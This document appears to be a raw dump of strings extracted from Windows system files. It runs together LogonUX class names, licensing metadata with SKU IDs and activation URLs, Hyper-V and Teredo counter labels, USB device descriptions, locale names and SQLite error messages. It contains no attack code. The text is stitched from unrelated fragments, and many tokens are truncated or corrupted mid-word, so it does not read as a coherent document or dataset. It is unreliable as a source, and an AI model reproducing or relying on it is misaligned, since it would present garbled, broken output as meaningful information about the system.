CredentialCommon.?$DefaultViewModelFactory@VString@Platform@@VObject@2@ Windows.Foundation.Collections.IVectorView`1<String> Windows.Foundation.Collections.IIterator`1<String> Windows.Foundation.IReference`1<Windows.Foundation.EventRegistrationToken> Windows.Foundation.IReference`1<Boolean> Windows.Foundation.IReference`1<Int32> Windows.Foundation.IReference`1<UInt32> Windows.Foundation.AsyncOperationCompletedHandler`1<Windows.UI.Xaml.Media.Imaging.SvgImageSourceLoadStatus> \geometry\platform\tessellationstore.cpp TessellationStore::AddTriangleFan Unexpected call to TessellationStore::AddTriangleFan. TessellationStore::AddBezierFans Unexpected call to TessellationStore::AddBezierFans. Software\Microsoft\Direct3D MostRecentApplication %s\%s DebugLayerLevel Name DebugLayerForceOn DebugLayerAppControlled core\common\shaderut write to read from onecoreu ws\d t2d\core\d2dapi\d2dcompositorcommandlist DPrivateCompositorCommandList::AddPolygonTrian !"#$%&'()*+,-./012345678 ontextData ==> NduCreateAppContext DeviceIoControl(IOCTL_NDU_CREATE_APPCONTEXT) <== NduCreateAppContext ==> NduDeleteAppContext DeviceIoControl(IOCTL_NDU_DELETE_APPCONTEXT) <== NduDeleteAppContext ==> NduRegisterAppQuotaNotification DeviceIoControl(IOCTL_NDU_REGISTER_QUOTA) <== NduRegisterAppQuotaNotification ==> NduUnregisterAppQuota DeviceIoControl(IOCTL_NDU_UNREGISTER_QUOTA) <== NduUnregisterAppQuota ==> NduQueryAppToken DeviceIoControl(IOCTL_NDU_QUERY_TOKEN) <== NduQuery oken ==> NduR ation DeviceIo <== NduRegisterByteCountLimitNot ation ==> NduUnregisterByteCountLimit DeviceIoControl(IOCTL_NDU_UNREGISTER_BYTECOUNT_LIMIT) <== NduUnregisterByteCountLimit ==> NduRegisterV tOut ocess DeviceIoControl(IOCTL_NDU_REGIST PN_D AULT_OUTER_PROCESS) <== NduRegisterVpnDefaul erPr yChecked IsAccessibilityViewRaw StaticTextField_ HasSubmitButton IsSubmitButtonEnabled IsInteractiveStateEnabled CheckBoxField_ ComboBoxField_ SelectedIndex InputScope MaxPasswordLength Image ImageField_ _Image _Text LogoImageHidden StandaloneSubmitButtonField_ Windows.UI.Xaml.Data.PropertyChangedEventHandler LogonUX.__DisplayStateProviderViewModelActivationFactory LogonUX.__DisplayStateProviderEventActivationFactory Windows.Foundation.TypedEventHandler`2<Object, Object> LogonUX.__SystemStatusViewModelActivationFactory LogonUX.__ShowVANCommandActivationFactory LogonUX.__MessageOptionsTypeActivationFactory LogonUX.__MessageOptionsCommandActivationFactory Windows.Internal.UI.Logon.Controller.MessageDisplayResult LogonUX.__DisplayMessageButtonFocusExtensionActivationFactory LogonUX.MessageVisibilityHandler LogonUX.__DisplayMessageViewModelActivationFactory LogonUX.__ProgressSpinnerSelectorActivationFactory LogonUX.__SecurityOptionsViewModelActivationFactory LogonUX.__SecurityOptionsTypeActivationFactory LogonUX.__SecurityOptionsCommandActivationFactory Platform.?$WriteOnlyArray@PE$AAVString@Platform@@$00 Windows.Foundation.IReferenceArray`1<String> Windows.Foundation.Collections.VectorChangedEventHandler`1<String> Windows.Foundation.Collections.IObservableVector`1<String> Windows.Foundati 983098 #107C10 983126 light 135200769 assets\Xbox_LargeTile.png 34537473 assets\Xbox_MedTile.png 17760257 assets\Xbox_SmallTile.png 68091905 assets\Xbox_AppList.png 51314689 assets\Xbox_WideTile.png 983227 Xbox 983229 Xbox 34537559 51314775 135200855 983098 #0078d7 983126 light 34537473 Assets\WinGet\MedTile.png 68091905 Assets\WinGet\AppList.png 983227 WinGet COM Server 34537559 51314775 135200855 983098 #0078d7 983126 light 34537473 Assets\WinGet\MedTile.png 68091905 Assets\WinGet\AppList.png 983227 ms-resource:wingetAppDisplayName 34537559 51314775 135200855 983098 #0078d7 983126 light 34537473 Assets\AppPackageMedTile.png 68091905 Assets\AppPackageAppList.png 983227 ms-resource:appDisplayName 34537559 51314775 135200855 983098 #0078d7 983126 light 135200769 Assets\AppPackageLargeTile.png 34537473 Assets\AppPackageMedTile.png 17760257 Assets\AppPackageSmallTile.png 68091905 Assets\AppPackageAppList.png 51314689 Assets\AppPackageWideTile.png 983227 ms-resource:appDisplayName 34537559 51314775 135200855 983098 #0078D4 983126 light 135200769 Assets\AppTiles\WeatherLargeTile.png 34537473 Assets\AppTiles\WeatherMedTile.png 17760257 Assets\AppTiles\WeatherSmallTile.png 68091905 Assets\AppTiles\WeatherAppList.png 51314689 Assets\AppTiles\WeatherWideTile.png 983227 ms-resource:ApplicationTitleShort 34537559 51314775 135200855 983128 badgeAndTileText 983097 Assets\AppTiles\WeatherBadgeLogo.png privateCertificateId d89497bb-9f2d-41ee-b16c-259cbf7bc819 productAuthor Microsoft Corporation productDescription Windows(R) Operating System productName Windows(R), csvlk-pack edition productSkuId d552befb-48cc-4327-8f39-47d2d94f987c d89497bb-9f2d-41ee-b16c-259cbf7bc819_ad_met clientIssuanceCertificateId {4961cc30-d690-43be-910c-8e2db01fc5ad} fileId c1a1f933-d9e4-5688-283a-2f21a5deaefb fileIndex hwid:ootGrace licenseCategory msft:sl/PL/GENERIC/PRIVATE licenseDescription Windows(R) Publishing License (Private) licenseId d89497bb-9f2d-41ee-b16c-259cbf7bc819 licenseNamespace msft:spp/namespace/ActiveDirectory licenseType msft:sl/PL/GENERIC/PRIVATE licenseVersion licensorUrl http://licensing.microsoft.com metaInfoType metaInfoTypeLicense publicCertificateId 2123d c3e-42af-bd99-2 XamlTypeInfo.InfoProvider.XamlSystemBaseType XamlTypeInfo.InfoProvider.XamlTypeInfoProvider XamlTypeInfo.InfoProvider.XamlMember Windows.UI.Xaml.Markup.IXamlType2 PowerOn Error Authenticated Searching TooClose TooFar MessageOnly BTLE Fingerprint Progress PhoneConnected PhoneNotificationSent BluetoothOff SyncComplete Sync StartBrightnessOverride BottomText CredentialCommon.__BrightnessOverrideHelperActivationFactory CredentialCommon.BrightnessOverrideHelper Windows.Graphics.Display.BrightnessOverride Unknown Exception SetScreenBrightness ActiveWindow handle is null CredentialCommon::BrightnessOverrideHelper::InitializeBrightnessControl OnBrightnessTimerTick - Reached target brightness GetForWindow returned null BrightnessOverride Microsoft.UI.Private.Controls.CBSPackageDetector IsLottie LottieAnimationVisibility AnimationGlyphVisibility IsLottieOnLockLogon Label CredentialCommon.__BioFeedbackViewModelActivationFactory Foreground Windows.Foundation.Collections.IObservableMap`2<Windows.Internal.UI.Logon.CredProvData.BioFeedbackState, UInt32> CredentialCommon.__FeedbackStateToVisibilityConverterActivationFactory CredentialCommon.__BottomTextVisibilityConverterActivationFactory Invalid CredentialCommon.BottomTextVisibilityConverter CommandLink StaticText TileImage EditText ComboBox CheckBox SubmitButton Control CredentialCommon.__BooleanToVisibilityConverterActivationFactory CredentialCommon.__NegativeBooleanToVisibilityConverterActivationFactory CredentialCommon.__UnsignedIntToVisibilityConverterActivationFactory CredentialCommon.__FlowDirectionToForwardArrowConverterActivationFactory CredentialCommon.__CredProvSelectedStateToBorderThicknessConvert Windows.Foundation.Diagnostics.AsyncCausalityTracer Windows.Services.Store.StoreContext This API is for evaluation purposes only and is subject to change or removal in future updates. Windows.Media.MediaExtensionAppServices.MediaExtensionBroker CameraSoundLevel ShutterSoundUnlocked SOFTWARE\Microsoft\Photos\OEM\RegionalSettings\Camera SOFTWARE\Microsoft\Photos\OEM Windows.Media.Capture.Frames.MediaFrameSourceGroup Windows.Foundation.AsyncOperationCompletedHandler`1<Windows.Media.Capture.Frames.MediaFrameSourceGroup> Windows.Foundation.IAsyncAction Windows.Media.Playback.MediaPlaybackItem Windows.Media.MediaProperties.MediaEncodingSubtypes Windows.Foundation.AsyncOperationCompletedHandler`1<Windows.Media.Capture.Frames.MediaFrameSourceGetPropertyResult> Windows.Media.Capture.VideoStreamConfiguration Windows.Media.Internal.ClosedCaptioning.ClosedCaptionGlobalProperties Windows.Media.Core.MediaSourceAppServiceConnection Windows.Media.Protection.ProtectionCapabilities Windows.Media.Devices.AdvancedPhotoCaptureSettings Windows.Media.Devices.Core.FrameController Windows.Foundation.AsyncOperationCompletedHandler`1<Windows.Media.Capture.Frames.MediaFrameReaderStartStatus> Windows.Media.Core.TimedTextSource Windows.Media.ClosedCaptioning.ClosedCaptionProperties 4dfa54c7-49e5-4b27-8eb1-03f180131b61_ad_met ActivationSequence msft:spp/licenseacquisition/payloadhandler/pa/1.0 EnableActivationValidation EnableNotificationMode Family csvlk-pack GraceTimerUniqueness EditionId PAUrl https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail ProductKeyGroupUniqueness WINDOWS6.2 UXDifferentiator VOLUME_KMS ValUrl https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx ValidationTemplateId {99d92734-d682-4d71-983e-d6ec3f16059f} ValidityTimerUniqueness EditionId applicationId 55c92734-d682-4d71-983e-d6ec3f16059f fileId 7c71a01c-b33a-62e8-83dd-68289aae82b6 fileIndex issuanceCertificateId 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 licenseCategory msft:sl/EUL/GENERIC/PUBLIC licenseDescription Windows(R) UL oob License (Public) licenseId 4dfa54c7-49e5-4b27-8eb1-03f180131b61 licenseNamespace msft:spp/namespace/ActiveDirectory licenseType msft:sl/EUL/GENERIC/PUBLIC licenseVersion licensorUrl http://licensing.microsoft.com metaInfoType metaInfoTypeLicense pkeyConfigLicenseId {71ce6518-3581-46da-948d-083c57061836} privateCertificateId f53be5b1-3734-440d-b997-339a03c5afd9 productAuthor Microsoft Corporation productDescription Windows(R) Operating System, VOLUME_KMS_W10 channel productName Windows(R), csvlk-pack edition productSkuId ecc0774a-aed3-4e1a-b815-2b31781adfea f53be5b1-3734-440d-b997-339a03c5afd9_ad_met fileId 7c71a01c-b33a-62e8-83dd-68289aae82b6 fileIndex issuanceCertificateId 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 licenseCategory msft:sl/EUL/GENERIC/PRIVATE 0025 ++S+ \\??\C:\WINDOWS\SYSTEM32\textinputframework.dll 770c4fab-e917-4899-a2cc-a76b894d5d3d_--_met fileId 4752224c-876e-d1f3-0b40-04138cad71cc fileIndex issuanceCertificateId 1a538d92-eeef-4229-a9a1-6cd6e18d73a5 licenseCategory msft:sl/ISSUANCE licenseDescription client-issuance-wgalic Issuance License licenseId 770c4fab-e917-4899-a2cc-a76b894d5d3d licenseType msft:sl/ISSUANCE/client-issuance-wgalic licenseVersion licensorUrl http://licensing.microsoft.com metaInfoType metaInfoTypeLicense 4752224c-876e-d1f3-0b40-04138cad71cc_-- hashIdString 4752224c-876e-d1f3-0b40-04138cad71cc metaInfoType metaInfoTypeFile windowsComponentLicenseFileName %windir%\system32\spp\tokens\issuance\client-issuance-wgalic.xrm-ms windowsComponentLicenseFileSize 3635 windowsComponentLicenseFileTimestamp lhJqXQWE2gE= ++S+ <MANIFEST-0 ++S+ issuanceCertificateId 7e3094cf-ce3e-4ed4-8c8c-20c2be1add03 licenseCategory msft:sl/EUL/GENERIC/PRIVATE licenseDescription Windows(R) UL oob License (Private) licenseId 7547fe20-9461-4870-8528-21b9b3d5af7d licenseType msft:sl/EUL/GENERIC/PRIVATE licenseVersion licensorUrl http://licensing.microsoft.com metaInfoType metaInfoTypeLicense productSkuId a48938aa-62fa-4966-9d44-9f04da3f72f2 publicCertificateId 24d17948-379f-4635-9b9b-b548b26b4a98 win:branding d22e93bd-11df-83a9-a7fe-a8963e34955f_-- hashIdString d22e93bd-11df-83a9-a7fe-a8963e34955f metaInfoType metaInfoTypeFile windowsComponentLicenseFileName %windir%\system32\spp\tokens\skus\professionalsinglelanguage\professionalsinglelanguage-retail-1-ul-oob.xrm-ms windowsComponentLicenseFileSize 11534 windowsComponentLicenseFileTimestamp T23sILyX3AE= ++S+ <MANIFEST-0 \w\2 icenseType msft:sl/EUL/GENERIC/PRIVATE licenseVersion licensorUrl http://licensing.microsoft.com metaInfoType metaInfoTypeLicense productSkuId 84e331f6- -48c4-ab 9181351 icCe Initializing client-side Bidi We don't understand the endpoint Id nNo linked connections Failed to parse Configuration JSON create associationIdentifier uniqueIdentifier name description manufacturer umpOnly Unnamed Virtual createdDevices Windows.Foundation.GuidHelper success Windows.Data.Json.JsonValue Windows.Data.Json.JsonArray Windows.Data.Json.JsonObject \StringFileInfo\040904B0\FileVersion \StringFileInfo\040904B0\CompanyName 10.0.26100.7705 10.0 10.0.26100.7309 10.0 10.0.26100.6725 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 10.0.26100.1 10.0 Excel Microsoft Excel 4 (*.xls) Excel Microsoft Excel 5-7 (*.xls) Microsoft Excel (*.xls) Microsoft Excel 5-7 (*.xls) Microsoft Excel 5-7 Excel Microsoft Excel 97-2000 (*.xls) Microsoft Excel 97-2003 (*.xls) Microsoft Excel 97-2003 Exchange Exchange() Text HTML Documents (*.html;*.htm) HTML (*.html) HTML Text HTML Documents (*.html;*.htm) Jet 2.x Jet 3.x ns\skus\enterprise\enterprise-volume-csvlk-1-ul-phn-rtm.xrm-ms windowsComponentLicenseFileSize 20452 windowsComponentLicenseFileTimestamp /liWHryX3AE= 1e63a75b-de00-4050-bb15-fee18105b58b_--_met 59462861-5bc9-8c74-62b6-75a97dec3a5f_-- c9908bd9-595e-8f63-5c2f-04f3dc27b909_-- c48bc896-ee75-4cc5-8978-28cfcc91382c_--_met 80021485-2f89-4faa-93dd-de03058c5636_--_met c9908bd9-595e-8f63-5c2f-04f3dc27b909_-- 9c877405-5893-12ad-937c-91353d009054_-- 717ec450-8439-4b9e-8b91-822bda5c44ce_--_met 6f128e65-b282-4596-b310-338bc5e0460b_--_met 9c877405-5893-12ad-937c-91353d009054_-- d880bb28-a110-b191-2f9f-0e755ab81ee6_-- 73111121-5638-40f6-bc11-f1d7b0d64300_--_met 2f5ef016-13c6-4a00-ad19-aa066fcc8332_--_met 5885f61e-077d-46e7-bde1-11a488e6ddbf_--_met d880bb28-a110-b191-2f9f-0e755ab81ee6_-- 67cbb5-c896-22df f4045eL 1_--_met 6f03-2641-4815-b2e4-885c16000a1d_--_met 5-c896 nableTime$IoctlDbgProtectMemoryBlockEnableTime.IOCTL count - IoctlDbgProtectMemoryBlockEnable %IoctlDbgProtectMemoryBlockEnableCount%IoctlDbgProtectMemoryBlockEnableCount-IOCTL time - IoctlQueryMemoryBlockInformation $IoctlQueryMemoryBlockInformationTime$IoctlQueryMemoryBlockInformationTime .IOCTL count - IoctlQueryMemoryBlockInformation %IoctlQueryMemoryBlockInformationCount%IoctlQueryMemoryBlockInformationCount.IOCTL time - IoctlSevSnpIssueNestedPspRequests %IoctlSevSnpIssueNestedPspRequestsTime%IoctlSevSnpIssueNestedPspRequestsTime/IOCTL count - IoctlSevSnpIssueNestedPspRequests &IoctlSevSnpIssueNestedPspRequestsCount&IoctlSevSnpIssueNestedPspRequestsCount#IOCTL time - IoctlSevSnpControlSave IoctlSevSnpControlSaveTime IoctlSevSnpControlSaveTime$IOCTL count - IoctlSevSnpControlSave IoctlSevSnpControlSaveCount IoctlSevSnpControlSaveCount&IOCTL time - IoctlSevSnpControlRestore IoctlSevSnpControlRestoreTime IoctlSevSnpControlRestoreTime'IOCTL count - IoctlSevSnpControlRestore IoctlSevSnpControlRestoreCount IoctlSevSnpControlRestoreCount*IOCTL time - IoctlPopulateCpuidInformation !IoctlPopulateCpuidInformationTime!IoctlPopulateCpuidInformationTime +IOCTL count - IoctlPopulateCpuidInformation "IoctlPopulateCpuidInformationCount"IoctlPopulateCpuidInformationCount0IOCTL time - IoctlSetPartitionResourcePriorities 'IoctlSetPartitionResourcePrioritiesTime'IoctlSetPartitionResourcePrioritiesTime1IOCTL count - IoctlSetPartitionResourcePriorities (IoctlSetPartitionResourcePrioritiesCount(IoctlSetPartitionResourcePrioritiesCount*IOCTL time - IoctlSetPartitionFrequencyCap !IoctlSetPartitionFrequencyCapTime!IoctlSetPartitionFrequencyCapTime+IOCTL count - IoctlSetPartitionFrequencyCap "IoctlSetPartitionFrequencyCapCount"IoctlSetPartitionFrequencyCapCount*IOCTL time - IoctlControlGpaAccessTracking !IoctlControlGpaAccessTrackingTime!IoctlControlGpaAccessTrackingTime+IOCTL count - IoctlControlGpaAccessTracking "IoctlControlGpaAccessTrackingCount"IoctlControlGpaAccessTrackingCount5IOCTL time - IoctlReadWriteMappedMemoryBlockPaget Channel EventData Data Name VmId Data Name InstanceId Data Name Channel VmId InstanceId Channel EventData Data Name VmId Data Name InstanceId Data Name PacketFetched Data Name MaximumFetchAllowed Data Name Channel VmId InstanceId PacketFetched MaximumFetchAllowed Channel Microsoft-Windows-Hyper-V-KMCL-Child FETCH_PACKET_OPCODE FINISH_FETCH_OPCODE SEND_PACKET_OPCODE EXCEED_FETCH_QUOTA_OPCODE EXCEED_DPC_LIMIT_OPCODE win:Informational Traffic Normal_Send_Event Normal_Receive_Event Perf_Issue /Per-Pipe statistics, for performance debugging. !Hyper-V Virtual Machine Bus Pipes!Hyper-V Virtual Machine Bus Pipes Reads/sec Reads/sec Writes/sec Writes/sec Bytes Read/sec Bytes Read/sec Bytes Written/sec Bytes Written/sec (Hyper-V Virtual Machine Bus KMCL Channel(Hyper-V Virtual Machine Bus KMCL Channel<KMCL internal channel statistics, for performance debugging. Packets Sent/sec Packets Sent/sec Packets Received/sec Packets Received/sec Interrupts Received/sec Interrupts Received/sec Dpcs Enqueued/sec Dpcs Enqueued/sec Work Items Enqueued/sec Work Items Enqueued/sec Quota Exceeded/sec Quota Exceeded/sec Non-Empty Signals Sent/sec Non-Empty Signals Sent/sec (Non-Empty Signals Skipped Due to MnF/sec(Non-Empty Signals Skipped Due to MnF/sec ,Non-Empty Signals Skipped Due to Masking/sec,Non-Empty Signals Skipped Due to Masking/sec Non-Full Signals Sent/sec Non-Full Signals Sent/sec 'Non-Full Signals Skipped Due to MnF/sec'Non-Full Signals Skipped Due to MnF/sec 048<@DHLP mscoree.dll LC_ALL LC_COLLATE LC_CTYPE LC_MONETARY LC_NUMERIC LC_TIME api-ms-win-core-datetime-l1-1-1 api-ms-win-core-fibers-l1-1-2 api-ms-win-core-file-l1-2-4 api-ms-win-core-file-l1-2-2 api-ms-win-core-file-l2-1-4 api-ms-win-core-loca tion-l1-2-1 -core- ms-w ore-processthreads-l e-string-l1-1-0 api-ms-w tcore-ntuser-window-l1-1-0 api-ms-win-security-systemfunctions-l1-1-0 ext-ms-win-ntuser-dialogbox-l1-1-0 ext-ms-win-ntuser-window ion- ntdll ja-JP zh-CN ko-KR zh-T y sent by the Teredo relay. +Out - Teredo Relay Success Packets: Bubbles+Out - Teredo Relay Success Packets: Bubbles'Total bubbles sent by the Teredo relay. 0Out - Teredo Relay Success Packets: Data Packets0Out - Teredo Relay Success Packets: Data Packets,Total data packets sent by the Teredo relay. Out - Teredo Relay Error Packets Out - Teredo Relay Error Packets4Total packets failed to be sent by the Teredo relay. .Out - Teredo Relay Error Packets: Header Error.Out - Teredo Relay Error Packets: Header ErrorCTotal packets failed( header error) to be sent by the Teredo relay. .Out - Teredo Relay Error Packets: Source Error.Out - Teredo Relay Error Packets: Source ErrorCTotal packets failed( source error) to be sent by the Teredo relay. 3Out - Teredo Relay Error Packets: Destination Error3Out - Teredo Relay Error Packets: Destination ErrorHTotal packets failed( destination error) to be sent by the Teredo relay. 6In - Teredo Relay Total Packets: Success + Error / sec6In - Teredo Relay Total Packets: Success + Error / sec3Rate of total packets received by the Teredo relay. 7Out - Teredo Relay Total Packets: Success + Error / sec7Out - Teredo Relay Total Packets: Success + Error / sec/Rate of total packets sent by the Teredo relay. 9In - Teredo Relay Success Packets: Data Packets User Mode9In - Teredo Relay Success Packets: Data Packets User Mode=Total data packets received by the Teredo relay in user mode. ;In - Teredo Relay Success Packets: Data Packets Kernel Mode;In - Teredo Relay Success Packets: Data Packets Kernel Mode?Total data packets received by the Teredo relay in kernel mode. :Out - Teredo Relay Success Packets: Data Packets User Mode:Out - Teredo Relay Success Packets: Data Packets User Mode9Total data packets sent by the Teredo relay in user mode. <Out - Teredo Relay Success Packets: Data Packets Kernel Mode<Out - Teredo Relay Success Packets: Data Packets Kernel Mode;Total data packets sent by the Teredo relay in kernel mode. IPHTTPS Session IPHTTPS Session.Per session statistics on this IPHTTPS ser Microsof SubC PETruste windows.ui.xaml.inkcontrols.dll.mui s-c. f3856ad3 PETruste windows.ui.xaml.inkcontrols.dll.mui PETruste windows.ui.xaml.controls.dll.mui msil_microsoft.windows.d...commands.resources_31bf3856ad364e35_10.0.26100.1_en-us_f7d02c99d505a442\microsoft.windows.developerlicense.commands.resources.dll TRUSTED (Kenya) Portuguese (Angola) Portuguese (Cabo Verde) Portuguese (Guinea-Bissau) Portuguese (Macao SAR) Portuguese (Mozambique) Portuguese (S o Tom & Pr ncipe) Portuguese (Timor-Leste) Russian (Belarus) Russian (Kyrgyzstan) Russian (Kazakhstan) Russian (Moldova) Russian (Russia) Russian (Ukraine) Somali (Djibouti) Somali (Ethiopia) Somali (Kenya) Somali (Somalia) Albanian (Albania) Albanian (North Macedonia) Albanian (Kosovo) Tamil (Malaysia) Tamil (Singapore) Turkish (Cyprus) Turkish (T rkiye) Arabic (World) English (World) English (Europe) Alsatian (Switzerland) Alsatian (Liechtenstein) Hausa (Latin, Ghana) Hausa (Latin, Niger) Hausa (Latin, Nigeria)2Serbian (Cyrillic, Serbia and Montenegro (Former)) Serbian (Cyrillic, Kosovo)/Serbian (Latin, Serbia and Montenegro (Former)) Serbian (Latin, Kosovo) Afar Afar (Djibouti) Afar (Eritrea) Afar (Ethiopia) Ewe (Ghana) Ewe (Togo) Northern Luri (Iraq) Northern Luri (Iran) Masai Masai (Kenya) Masai (Tanzania) Ossetic (Georgia) Ossetic (Russia) Teso Teso (Kenya) Teso (Uganda) Aghem Aghem (Cameroon) Asu (Tanzania) Basaa Basaa (Cameroon) Bena Bena (Tanzania) Blin Blin (Eritrea) Chechen Chechen (Russia) Church Slavic Church Slavic (Russia) Danish (Greenland) Taita Taita (Kenya) German (Italy) Duala Duala (Cameroon) Jola-Fonyi Jola-Fonyi (Senegal) Embu Embu (Kenya) Greek (Cyprus) English (Austria) English (Burundi) English (Switzerland) English (Cyprus) English (Germany) English (Denmark) English (Finland) English (Israel) English (Netherlands) English (Sweden) English (Slovenia) Spanish (Brazil) Spanish (Belize) Ewondo Ewondo (Cameroon) Faroese (Denmark) Alsatian (France) Italian (Vatican City) Ngomba Ngomba (Cameroon) Machame Machame (Tanzania) Kabuverdianu Kabuverdianu (Cabo Verde) Koyra Chiini Koyra Chiini (Mali) Kako Kako (Cameroon) Shambala Shambala (Tanzania) Bafia Bafia (Cameroon) Kurdish (Perso-Arabic, Iran) Langi Langi (Tanzania) Lakota Lakota (United States) Makhuwa-Meetto Makhuwa-Meetto (Mozambique) Meta Meta (Cameroon)+Mongolian (Traditional Mongolian, M FoundationCdmFiles lpacMediaFoundationCdmData lpacEdgeWdagComms lpacChromeNetworkSandbox sbox_alternate_desktop_ local_winstation_ 0x%X t count total - ApicEoi InterceptApicEoiCountTotal InterceptApicEoiCountTotal"Deferred intercept processing time InterceptProcessingDeferredTime InterceptProcessingDeferredTime#Deferred intercept processing count InterceptProcessingDeferredCount InterceptProcessingDeferredCountXThe number of I/O port write intercepts received from the hypervisor for this partition. InterceptsIOPortWrite InterceptsIOPortWriteWThe number of I/O port read intercepts received from the hypervisor for this partition. InterceptsIOPortRead InterceptsIOPortReadSThe number of MSR write intercepts received from the hypervisor for this partition. InterceptsMSRWrite InterceptsMSRWrite RThe number of MSR read intercepts received from the hypervisor for this partition. InterceptsMSRRead InterceptsMSRReadPThe total time spent processing VM pause resume notify calls for this partition. VmPauseResumeNotifyTimeInUs VmPauseResumeNotifyTimeInUs>The number of VM pause resume notify calls for this partition. VmPauseResumeNotifyCount VmPauseResumeNotifyCountNThe total time spent processing VM speculative fault calls for this partition. VmSpeculativeFaultTimeInUs VmSpeculativeFaultTimeInUs<The number of VM speculative fault calls for this partition. VmSpeculativeFaultCount VmSpeculativeFaultCountFThe total time spent processing VM cold hint calls for this partition. VmHeatHintColdTimeInUs VmHeatHintColdTimeInUs4The number of VM cold hint calls for this partition. VmHeatHintColdCount VmHeatHintColdCountEThe total time spent processing VM hot hint calls for this partition. VmHeatHintHotTimeInUs VmHeatHintHotTimeInUs 3The number of VM hot hint calls for this partition. VmHeatHintHotCount VmHeatHintHotCountIThe total time spent processing VM access fault calls for this partition. VmAccessFaultTimeInUs VmAccessFaultTimeInUsVThe number of VM access fault calls for this partition during GVA to GPA translations. VmAccessFaultCountTranslations VmAccessFaultCountTranslationsxThe number of VM access fault calls for this partition during memory inte d_05f2&pid_0010.devicedesc Dexin USB AQ Mouse USB\VID_04A5&PID_0003&MI_01.DeviceDesc usb\vid_04a5&pid_0003&mi_01.devicedesc API Generic USB K/B Mouse USB\VID_047B&PID_0002&MI_01.DeviceDesc usb\vid_047b&pid_0002&mi_01.devicedesc Silitek USB Keyboard Mouse USB\VID_05C7&PID_1001.DeviceDesc usb\vid_05c7&pid_1001.devicedesc Qtronix USB Mouse USB\VID_0E8A&PID_0100.DeviceDesc usb\vid_0e8a&pid_0100.devicedesc FinePoint USB Digitizer USB\VID_045E&PID_0007.DeviceDesc usb\vid_045e&pid_0007.devicedesc SideWinder Game Pad USB version 1.0 USB\VID_045E&PID_0008.DeviceDesc usb\vid_045e&pid_0008.devicedesc Microsoft SideWinder Precision Pro (USB) USB\VID_045E&PID_000E.DeviceDesc usb\vid_045e&pid_000e.devicedesc Microsoft SideWinder Freestyle Pro (USB) USB\VID_046D&PID_0200.DeviceDesc usb\vid_046d&pid_0200.devicedesc Logitech USB WingMan Extreme Joystick USB\VID_046D&PID_C201.DeviceDesc usb\vid_046d&pid_c201.devicedesc Logitech USB WingMan Extreme Joystick with Throttle USB\VID_046D&PID_C202.DeviceDesc usb\vid_046d&pid_c202.devicedesc Logitech WingMan Formula (Yellow)(USB) USB\VID_046D&PID_C207.DeviceDesc usb\vid_046d&pid_c207.devicedesc Logitech WingMan Extreme Digital 3D (USB) USB\VID_046D&PID_C208.DeviceDesc usb\vid_046d&pid_c208.devicedesc Logitech WingMan Gamepad Extreme (USB) USB\VID_046D&PID_C209.DeviceDesc usb\vid_046d&pid_c209.devicedesc Logitech WingMan Gamepad (USB) USB\VID_044F&PID_A0A0.DeviceDesc usb\vid_044f&pid_a0a0.devicedesc Thrustmaster Top Gun USB Joystick USB\VID_044F&PID_A0A1.DeviceDesc usb\vid_044f&pid_a0a1.devicedesc ThrustMaster Top Gun USB Joystick (rev2) USB\VID_044F&PID_A201.DeviceDesc usb\vid_044f&pid_a201.devicedesc NEC PK-GP201 PlayStick USB\VID_044F&PID_A01B.DeviceDesc usb\vid_044f&pid_a01b.devicedesc NEC PK-GP301 Driving Wheel USB\VID_044F&PID_A003.DeviceDesc usb\vid_044f&pid_a003.devicedesc ThrustMaster Rage 3D USB Game Pad USB\VID_0458&PID savrt.dll \Device\KsecDD DRM_RNG SOFTWARE\Microsoft\Cryptography\DRM_RNG Seed The key does not support the requested operation. There is not enough memory for the operation. The parameter has not been set and has no default value. Key object already exists. The requsted key object does not exist. Failed to load the requested key. No more data is available. Catastrophic internal failure in the HSP KSP. Unsupported format. Invalid XML. Missing required element. Missing required attribute. Unexpected content. Resource too large. Invalid JSON string. Invalid JSON number. JSON value not found. Invalid operation performed by the protocol. Invalid data format for the specific protocol operation. Protocol extensions are not supported. Subprotocol is not supported. Incorrect protocol version. SQL error or missing database Internal logic error in SQLite Access permission denied Callback routine requested an abort The database file is locked A table in the database is locked A malloc() failed Attempt to write a readonly database Operation terminated by sqlite3_interrupt() Some kind of disk I/O error occurred The database disk image is malformed Unknown opcode in sqlite3_file_control() Insertion failed because database is full Unable to open the database file Database lock protocol error Database is empty The database schema changed String or BLOB exceeds size limit Abort due to constraint violation Data type mismatch Library used incorrectly Uses OS features not supported on host Authorization denied Auxiliary database format error 2nd parameter to sqlite3_bind out of range File opened that is not a database file Notifications from sqlite3_log() Warnings from sqlite3_log() sqlite3_step() has another row ready sqlite3_step() has finished executing SQLITE_BUSY_RECOVERY SQLITE_LOCKED_SHAREDCACHE SQLITE_READONLY_RECOVERY SQLITE_IOERR_READ SQLITE_CORRU YER_RPC_PROXY_CONN FWPM_LAYER_RPC_PROXY_CONN FWPM_LAYER_RPC_PROXY_CONN FWPM_LAYER_RPC_PROXY_IF FWPM_LAYER_RPC_PROXY_IF FWPM_LAYER_RPC_PROXY_IF FWPM_LAYER_KM_AUTHORIZATION FWPM_LAYER_KM_AUTHORIZATION FWPM_LAYER_KM_AUTHORIZATION!FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 !FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4!FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4!FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 !FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6!FWPM_LAYER_ALE_ACCEPT_REDIRECT_V60FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 0FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V40FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V40FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 0FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 0FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 xWFP Reauthorization is the set of Windows Filtering Platform (WFP) counters that pertain to connection reauthorizations. WFP Reauthorization WFP Reauthorization3Total number of inbound reauthorizations performed. Inbound Inbound4Total number of outbound reauthorizations 